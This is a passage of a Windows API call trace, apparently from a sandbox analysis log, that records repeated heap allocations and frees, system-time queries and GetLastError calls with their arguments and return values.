HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b35b0, dwHighDateTime=0x1d595b2)) [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b35b0, dwHighDateTime=0x1d595b2)) [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b35b0, dwHighDateTime=0x1d595b2)) [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b35b0, dwHighDateTime=0x1d595b2)) [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b35b0, dwHighDateTime=0x1d595b2)) [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b35b0, dwHighDateTime=0x1d595b2)) [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.245] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.245] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b5cc0, dwHighDateTime=0x1d595b2)) [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.246] GetLastError () returned 0x578 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8f8 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de150 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8f8 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de150 | out: hHeap=0x3d0000) returned 1 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de928 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de928 | out: hHeap=0x3d0000) returned 1 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b5cc0, dwHighDateTime=0x1d595b2)) [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b5cc0, dwHighDateTime=0x1d595b2)) [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.246] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.246] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.246] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b83d0, dwHighDateTime=0x1d595b2)) [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b83d0, dwHighDateTime=0x1d595b2)) [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b83d0, dwHighDateTime=0x1d595b2)) [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b83d0, dwHighDateTime=0x1d595b2)) [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.247] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83b83d0, dwHighDateTime=0x1d595b2)) [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.247] GetLastError () returned 0x578 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8f8 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de150 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8f8 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de150 | out: hHeap=0x3d0000) returned 1 [0141.247] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de928 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de928 | out: hHeap=0x3d0000) returned 1 [0141.247] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.248] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.248] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.248] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.248] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83baae0, dwHighDateTime=0x1d595b2)) [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83baae0, dwHighDateTime=0x1d595b2)) [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.248] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.248] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83baae0, dwHighDateTime=0x1d595b2)) [0141.248] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.248] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83baae0, dwHighDateTime=0x1d595b2)) [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.248] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.248] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83baae0, dwHighDateTime=0x1d595b2)) [0141.248] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.248] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83baae0, dwHighDateTime=0x1d595b2)) [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd910 [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd920 [0141.248] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.248] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.249] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bd1f0, dwHighDateTime=0x1d595b2)) [0141.249] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.249] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.249] GetLastError () returned 0x578 [0141.249] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.249] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd920 [0141.249] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x8) returned 0x3dd910 [0141.249] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd920 | out: hHeap=0x3d0000) returned 1 [0141.249] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0xc) returned 0x3de0d0 [0141.249] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.249] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x10) returned 0x3de8f8 [0141.249] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de0d0 | out: hHeap=0x3d0000) returned 1 [0141.249] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x18) returned 0x3de150 [0141.249] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.249] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x24) returned 0x3de8f8 [0141.249] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de150 | out: hHeap=0x3d0000) returned 1 [0141.249] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x34) returned 0x3de928 [0141.249] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de8f8 | out: hHeap=0x3d0000) returned 1 [0141.249] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3de928 | out: hHeap=0x3d0000) returned 1 [0141.249] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd900 | out: hHeap=0x3d0000) returned 1 [0141.249] RtlAllocateHeap (HeapHandle=0x3d0000, Flags=0x0, Size=0x4) returned 0x3dd900 [0141.249] HeapFree (in: hHeap=0x3d0000, dwFlags=0x0, lpMem=0x3dd910 | out: hHeap=0x3d0000) returned 1 [0141.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bd1f0, dwHighDateTime=0x1d595b2)) [0141.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bd1f0, dwHighDateTime=0x1d595b2)) [0141.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bd1f0, dwHighDateTime=0x1d595b2)) [0141.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bd1f0, dwHighDateTime=0x1d595b2)) [0141.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bd1f0, dwHighDateTime=0x1d595b2)) [0141.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: lpSystemTimeAsFileTime=0x18bd48*(dwLowDateTime=0xd83bf900, dwHighDateTime=0x1d595b2)) [0141.251] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18bd48 | out: 